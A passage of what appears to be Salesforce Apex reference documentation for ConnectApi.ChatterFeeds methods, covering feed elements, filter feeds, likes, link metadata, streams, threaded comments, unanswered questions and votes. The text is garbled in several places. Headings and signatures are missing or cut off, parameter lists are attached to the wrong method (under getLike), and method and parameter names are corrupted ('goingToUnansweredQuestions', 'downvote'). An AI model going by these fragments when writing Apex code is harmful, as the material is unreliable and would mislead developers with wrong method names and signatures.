public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, ConnectApi.FeedFilter filter)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.

subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

• AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

`pageSize`  
Type: `Integer`  
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

`updatedSince`  
Type: `String`  
An opaque token defining the modification time stamp of the feed and the sort order.  
The `updatedSince` parameter doesn’t return feed elements that are created in the same second as the call.

`filter`  
Type: `ConnectApi.FeedFilter`  
Value must be `ConnectApi.FeedFilter.CommunityScoped`. Filters the feed to include only feed elements that are scoped to Experience Cloud sites. Feed elements that are always visible in all sites are filtered out.

Return Value  
Type: `ConnectApi.FeedElementPage`

Usage  
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, String customFilter)

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

**subjectId**
Type: String
The ID of a case.

**recentCommentCount**
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

**elementsPerBundle**
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**updatedSince**
Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
customFilter
Type: String
Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
**feedType**  
Type: `ConnectApi.FeedType`  
Value must be `ConnectApi.FeedType.Record`.

**subjectId**  
Type: `String`  
Any record ID, including a group ID.

**recentCommentCount**  
Type: `Integer`  
Maximum number of comments to return with each feed element. The default value is 3.

**elementsPerBundle**  
Type: `Integer`  
Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**  
Type: `ConnectApi.FeedDensity`  
Specify the amount of content in a feed.  
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.  
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**  
Type: `String`  
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**  
Type: `Integer`  
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**  
Type: `String`  
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedElementPage` response body.  
The `updatedSince` parameter doesn’t return feed elements that are created in the same second as the call.

**showInternalOnly**  
Type: `Boolean`  
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

**Return Value**  
Type: `ConnectApi.FeedElementPage`
Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

```
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, Boolean showInternalOnly, ConnectApi.FeedFilter filter)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.
- `feedType`
  - Type: `ConnectApi.FeedType`
  - Value must be `ConnectApi.FeedType.Record`.
- `subjectId`
  - Type: `String`
  - Any record ID, including a group ID.
recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the updatesToken property of the ConnectApi.FeedElementPage response body.

The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.

showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
- AllQuestions—Feed elements that are questions.
- AuthoredBy—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- CommunityScoped—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- QuestionsWithCandidateAnswers—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
• **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.

• **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.

• **SolvedQuestions**—Feed elements that are questions and that have a best answer.

• **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.

• **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.

• **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.

• **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

**Return Value**

**Type:** `ConnectApi.FeedElementPage`

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Yes

Signature
public static ConnectApi.Feed getFeedWithFeedElements(String communityId, ConnectApi.FeedType feedType, Integer pageSize, Integer recentCommentCount)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Landing, Moderation, and PendingReview. Landing is valid only when communityId is internal.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in 0, feed elements aren’t returned with the feed.

recentCommentCount
  Type: Integer
  Maximum number of comments to return with each feed element. The default value is 3.

Return Value
Type: ConnectApi.Feed

getFilterFeed(communityId, subjectId, keyPrefix)
Get a feed filtered by a key prefix for a user.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String keyPrefix)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

subjectId
  Type: String
  The ID of the context user or the alias me.

keyPrefix
  Type: String
  A key prefix is the first three characters of a record ID, which specifies the object type.

Return Value
Type: ConnectApi.Feed

getFilterFeed(communityId, subjectId, keyPrefix, sortParam)
Get a sorted feed filtered by a key prefix for a user.
API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String keyPrefix, ConnectApi.FeedType sortParam)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

sortParam
Type: ConnectApi.FeedType
Values are:
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.Feed

getFilterFeedDirectory(communityId, subjectId)

Get a feed directory of filter feeds available to the context user.
API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedDirectory getFilterFeedDirectory(String communityId, String subjectId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

subjectId
  Type: String
  The ID of the context user or the alias me.

Return Value
Type: ConnectApi.FeedDirectory
This feed directory contains a list of filter feeds, which are the news feed filtered to include feed items whose parent is a specific entity type.

Usage
Call this method to return a directory containing a list of ConnectApi.FeedDirectoryItem objects. Each object contains a key prefix associated with an entity type the context user is following. A key prefix is the first three characters of a record ID, which specifies the object type.

Use key prefixes to filter the news feed so that it contains only feed items whose parent is the entity type associated with the key prefix. For example, get all the feed items whose parent is an Account. To get the feed items, pass a key prefix to the ConnectApi.getFeedItemsFromFilterFeed method.

The information about filter feeds never contains the key prefixes for users (005) or groups (0F9), but all users can use those key prefixes as filters.

The ConnectApi.FeedDirectory.favorites property is always empty when returned by a call to getFilterFeedDirectory because you can't filter a news feed by favorites.

Example
This example calls getFilterFeedDirectory and loops through the returned FeedDirectoryItem objects to find the key prefixes the context user can use to filter their news feed. It then copies each keyPrefix value to a list. Finally, it passes one of
the key prefixes from the list to the `getFeedItemsFromFilterFeed` method. The returned feed items include every feed item from the news feed whose parent is the entity type specified by the passed key prefix.

```java
String communityId = null;
String subjectId = 'me';

// Create a list to populate with key prefixes.
List<String> keyPrefixList = new List<String>();

// Prepopulate with User and Group record types
// which are available to all users.
keyPrefixList.add('005');
keyPrefixList.add('0F9');

System.debug(keyPrefixList);

// Get the key prefixes available to the context user.
ConnectApi.FeedDirectory myFeedDirectory =
    ConnectApi.ChatterFeeds.getFilterFeedDirectory(null, 'me');

// Loop through the returned feeds list.
for (ConnectApi.FeedDirectoryItem i : myFeedDirectory.feeds) {
    // Grab each key prefix and add it to the list.
    keyPrefixList.add(i.keyPrefix);
}
System.debug(keyPrefixList);

// Use a key prefix from the list to filter the feed items in the news feed.
ConnectApi.FeedItemPage myFeedItemPage =
    ConnectApi.ChatterFeeds.getFeedItemsFromFilterFeed(communityId, subjectId,
        keyPrefixList[0]);
System.debug(myFeedItemPage);
```

**getLike(communityId, likeId)**

Get a like on a post or comment.

Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterLikePage

getLikesForFeedElement(communityId, feedElementId)
Get likes for a feed element.

API Version
32.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature

public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
String feedElementId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

Return Value

Type: ConnectApi.ChatterLikePage
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.

getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)
Get a page of likes for a feed element.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature

public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
String feedElementId, Integer pageParam, Integer pageSize)
Parameters

- **communityId**
  - Type: **String**
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedElementId**
  - Type: **String**
  - ID of the feed element.

- **pageParam**
  - Type: **String**
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  - Type: **Integer**
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

- **Type**: `ConnectApi.ChatterLikePage`

If the feed element doesn’t support the ChatterLikes capability, the return value is `ConnectApi.NotFoundException`.

**getLinkMetadata(communityId, urls)**

Get link metadata for URLs.

**API Version**

42.0

**Available to Guest Users**

42.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.LinkMetadataCollection getLinkMetadata(String communityId, String urls)
```

Parameters

- **communityId**
  - Type: **String**
  - Use the ID for an Experience Cloud site, `internal`, or `null`.
urls
Type: String
Comma-separated list of URL-encoded URLs.

Return Value
Type: ConnectApi.LinkMetadataCollection

getPinnedFeedElementsFromFeed(communityId, feedType, subjectId)
Get pinned feed elements from a group or topic feed.

API Version
41.0

Available to Guest Users
41.0

Requires Chatter
Yes

Signature
public static ConnectApi.PinnedFeedElements getPinnedFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Record and Topics.

subjectId
Type: String
If feedType is Record, subjectId must be a group ID. If feedType is Topics, subjectId must be a topic ID.

Return Value
Type: ConnectApi.PinnedFeedElements
If the feed doesn’t support this capability, the return value is ConnectApi.NotFoundException.
getReadByForFeedElement(communityId, feedElementId)

Get information about who read a feed element and when.

API Version
40.0

Requires Chatter
Yes

Signature
public static ConnectApi.ReadByPage getReadByForFeedElement(String communityId, String feedElementId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

Return Value
Type: ConnectApi.ReadByPage
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

getReadByForFeedElement(communityId, feedElementId, pageParam, pageSize)

Get a page of information about who read a feed element and when.

API Version
40.0

Requires Chatter
Yes

Signature
public static ConnectApi.ReadByPage getReadByForFeedElement(String communityId, String feedElementId, Integer pageParam, Integer pageSize)
Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **feedElementId**
  Type: String
  ID of the feed element.

- **pageParam**
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

Type: `ConnectApi.ReadByPage`

If the feed element doesn’t support this capability, the return value is `ConnectApiNotFoundException`.

**getRelatedPosts(communityId, feedElementId, filter, maxResults)**

Get posts related to the context feed element.

API Version

37.0

Available to Guest Users

37.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.RelatedFeedPosts getRelatedPosts(String communityId, String feedElementId, ConnectApi.RelatedFeedPostType filter, Integer maxResults)
```

Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
**feedElementId**

Type: **String**

ID of the feed element. The feed element must be a question.

**filter**

Type: **ConnectApi.RelatedFeedPostType**

Specifies the type of related post. Values are:

- **Answered**—Related questions that have at least one answer.
- **BestAnswer**—Related questions that have a best answer.
- **Generic**—All types of related questions, including answered, with a best answer, and unanswered.
- **Unanswered**—Related questions that don’t have answers.

**Generic** is the default value.

**maxResults**

Type: **Integer**

The maximum number of results to return. You can return up to 25 results; 5 is the default.

Return Value

Type: **ConnectApi.RelatedFeedPosts**

In version 37.0 and later, related feed posts are questions.

Each related feed post has a score indicating how closely it’s related to the context feed post. We return related feed posts sorted by score, with the highest score first.

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**getStream(communityId, streamId)**

Get information about a Chatter feed stream.

**API Version**

39.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterStream getStream(String communityId, String streamId)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**streamId**
Type: String
ID of the Chatter feed stream.

Return Value
Type: `ConnectApi.ChatterStream`

```java
public static ConnectApi.ChatterStream getStream(String communityId, String streamId, Boolean globalScope)
```

**getStream(communityId, streamId, globalScope)**
Get information about a Chatter feed stream, regardless of Experience Cloud site.

API Version
41.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterStream getStream(String communityId, String streamId, Boolean globalScope)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**streamId**
Type: String
ID of the Chatter feed stream.

**globalScope**
Type: Boolean
Specifies whether to get streams from all the context user’s Experience Cloud sites, regardless of the `communityId` value.

Tip: If you know the `communityId` for the stream, we recommend setting `globalScope` to `false`.

Return Value
Type: `ConnectApi.ChatterStream`
**getStreams(communityId)**
Get the Chatter feed streams for the context user.

API Version
39.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterStreamPage getStreams(String communityId)
```

Parameters
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

Return Value
Type: `ConnectApi.ChatterStreamPage`

**getStreams(communityId, sortParam)**
Get and sort the Chatter feed streams for the context user.

API Version
40.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterStreamPage getStreams(String communityId, 
ConnectApi.SortOrder sortParam)
```

Parameters
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.
- **sortParam**
  Type: `ConnectApi.SortOrder`
Specifies the sort order. Values are:

- **Ascending**—Items are in ascending alphabetical order (A-Z).
- **Descending**—Items are in descending alphabetical order (Z-A).
- **MostRecentlyViewed**—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.

If not specified, default value is `Ascending`.

Return Value
Type: `ConnectApi.ChatterStreamPage`

**getStreams(communityId, pageParam, pageSize)**
Get a page of Chatter feed streams for the context user.

API Version
39.0

Requires Chatter
Yes

Signature

```
public static ConnectApi.ChatterStreamPage getStreams(String communityId, Integer pageParam, Integer pageSize)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`pageParam`
Type: `Integer`
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

Return Value
Type: `ConnectApi.ChatterStreamPage`

**getStreams(communityId, pageParam, pageSize, sortParam)**
Get a sorted page of Chatter feed streams for the context user.
API Version
40.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterStreamPage getStreams(String communityId, Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **pageParam**
  - Type: `Integer`
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

- **sortParam**
  - Type: `ConnectApi.SortOrder`
  - Specifies the sort order. Values are:
    - **Ascending**—Items are in ascending alphabetical order (A-Z).
    - **Descending**—Items are in descending alphabetical order (Z-A).
    - **MostRecentlyViewed**—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.
  
  If not specified, default value is `Ascending`.

Return Value

- **Type**: `ConnectApi.ChatterStreamPage`

```java
getStreams(communityId, pageParam, pageSize, sortParam, globalScope)
```

Get a sorted page of Chatter feed streams from all Enterprise Cloud sites for the context user.
Requires Chatter
Yes

Signature
public static ConnectApi.ChatterStreamPage getStreams(String communityId, Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam, Boolean globalScope)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

sortParam
Type: ConnectApi.SortOrder
Specifies the sort order. Values are:
- Ascending—Items are in ascending alphabetical order (A-Z).
- Descending—Items are in descending alphabetical order (Z-A).
- MostRecentlyViewed—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.
If not specified, default value is Ascending.

globalScope
Type: Boolean
Specifies whether to get streams from all the context user’s Experience Cloud sites, regardless of the communityId value.

⚠️ Tip: If you know the communityId for the streams, we recommend setting globalScope to false.

Return Value
Type: ConnectApi.ChatterStreamPage

getSupportedEmojis()
Get supported emojis for the org.

API Version
39.0
Requires Chatter
Yes

Signature
public static ConnectApi.SupportedEmojis getSupportedEmojis()

Return Value
Type: ConnectApi.SupportedEmojis

Usage
To get the list, emojis must be enabled in your org.

getThreadsForFeedComment(communityId, commentId)
Get threaded comments for a comment.

API Version
44.0

Available to Guest Users
44.0

Requires Chatter
Yes

Signature
public static ConnectApi.CommentPage getThreadsForFeedComment(String communityId, String commentId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
ID of the comment.

Return Value
Type: ConnectApi.CommentPage
If the comment doesn’t support the comments capability, the return value is ConnectApi.NotFoundException.
getThreadsForFeedComment(communityId, commentId, pageParam, pageSize)

Get a page of threaded comments for a comment.

API Version
44.0

Available to Guest Users
44.0

Requires Chatter
Yes

Signature
public static ConnectApi.CommentPage getThreadsForFeedComment(String communityId, String commentId, String pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
ID of the comment.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.CommentPage
If the comment doesn’t support the comments capability, the return value is ConnectApi.NotFoundException.

getThreadsForFeedComment(communityId, commentId, threadedCommentsCollapsed)

Access the comments capability for a comment.
API Version
44.0

Available to Guest Users
44.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.CommentsCapability getThreadsForFeedComment(String communityId,
String commentId, Boolean threadedCommentsCollapsed)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **commentId**
  - Type: `String`
  - ID of the comment.

- **threadedCommentsCollapsed**
  - Type: `Boolean`
  - Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in `null`, the default is `false`.

Return Value

Type: `ConnectApi.CommentsCapability`

If the comment doesn’t support the `comments` capability, the return value is `ConnectApi.NotFoundException`.

---

**getTopUnansweredQuestions(communityId) (Pilot)**

Get top unanswered questions for the context user in aExperience Cloud site.

- **Note:** We provided top-five unanswered questions to selected customers through a pilot program that required agreement to specific terms and conditions. This pilot program is closed and not accepting new participants.

API Version

42.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.FeedElementPage getTopUnansweredQuestions(String communityId)
```

Parameters

- `communityId`  
  Type: `String`  
  ID of the Experience Cloud site.

Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetTopUnansweredQuestions(communityId, result) (Pilot)`
- Testing ConnectApi Code

### getTopUnansweredQuestions(communityId, filter) (Pilot)

Get filtered top unanswered questions for the context user in an Experience Cloud site.

**Note:** We provided top-five unanswered questions to selected customers through a pilot program that required agreement to specific terms and conditions. This pilot program is closed and not accepting new participants.

API Version

42.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage getTopUnansweredQuestions(String communityId, ConnectApi.TopUnansweredQuestionsFilterType filter)
```

Parameters

- `communityId`  
  Type: `String`  
  ID of the Experience Cloud site.

- `filter`  
  Type: `ConnectApi.FeedFilter`
Specifies the filter for the feed. UnansweredQuestionsWithCandidateAnswers is the only valid value.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetTopUnansweredQuestions(communityId, filter, result) (Pilot)
Testing ConnectApi Code

goingToUnansweredQuestions(communityId, pageSize) (Pilot)

Get a page of top unanswered questions for the context user in an Experience Cloud site.

Note: We provided top-five unanswered questions to selected customers through a pilot program that required agreement to specific terms and conditions. This pilot program is closed and not accepting new participants.

API Version
42.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getTopUnansweredQuestions(String communityId, Integer pageSize)

Parameters
communityId
Type: String
ID of the Experience Cloud site.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 0 through 10. If you pass in null, the default size is 5.

Return Value
Type: ConnectApi.FeedElementPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetTopUnansweredQuestions(communityId, pageSize, result)` (Pilot)

Testing ConnectApi Code

\[ \text{getTopUnansweredQuestions(communityId, filter, pageSize) (Pilot)} \]

Get a page of filtered top unanswered questions for the context user in an Experience Cloud site.

**Note:** We provided top-five unanswered questions to selected customers through a pilot program that required agreement to specific terms and conditions. This pilot program is closed and not accepting new participants.

API Version

42.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage getTopUnansweredQuestions(String communityId, ConnectApi.FeedFilter filter, Integer pageSize)
```

Parameters

- **communityId**
  - Type: `String`
  - ID of the Experience Cloud site.

- **filter**
  - Type: `ConnectApi.FeedFilter`
  - Specifies the filter for the feed. `UnansweredQuestionsWithCandidateAnswers` is the only valid value.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 0 through 10. If you pass in `null`, the default size is 5.

Return Value

- Type: `ConnectApi.FeedElementPage`
Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- setTestGetTopUnansweredQuestions(communityId, filter, pageSize, result) (Pilot)

### `getVotesForComment(communityId, commentId, vote)`

Get the first page of users who upvoted or downvoted a comment.

API Version
42.0

Available to Guest Users
42.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.VotePage getVotesForComment(String communityId, String commentId, ConnectApi.UpDownVoteValue vote)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **commentId**
  - Type: `String`
  - ID of the comment.

- **vote**
  - Type: `ConnectApi.UpDownVoteValue`
  - Specifies the value of the vote for the feed element. Values are:
    - `Down`
    - `Up`
  - You can’t specify `None`.

ConnectApi Namespace

Apex Developer Guide
Return Value
Type: `ConnectApi.VotePage`
If the comment doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

`getVotesForComment(communityId, commentId, vote, pageParam, pageSize)`
Get a page of users who upvoted or downvoted a comment.

API Version
42.0

Available to Guest Users
42.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.VotePage getVotesForComment(String communityId, String commentId, ConnectApi.UpDownVoteValue vote, Integer pageParam, Integer pageSize)
```

Parameters
```
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

commentId
  Type: String
  ID of the comment.

downvote
  Type: ConnectApi.UpDownVoteValue
  Specifies the value of the vote for the feed element. Values are:
  • Down
  • Up
  You can’t specify None.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: `ConnectApi.VotePage`
If the comment doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

`getVotesForFeedElement(communityId, feedElementId, vote)`
Get the first page of users who upvoted or downvoted a feed element.

API Version
42.0

Available to Guest Users
42.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.VotePage getVotesForFeedElement(String communityId, String feedElementId, ConnectApi.UpDownVoteValue vote)
```

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

`feedElementId`
Type: `String`
ID of the feed element.

`vote`
Type: `ConnectApi.UpDownVoteValue`
Specifies the value of the vote for the feed element. Values are:
- Down
- Up
You can’t specify `None`.

Return Value
Type: `ConnectApi.VotePage`
If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`. 
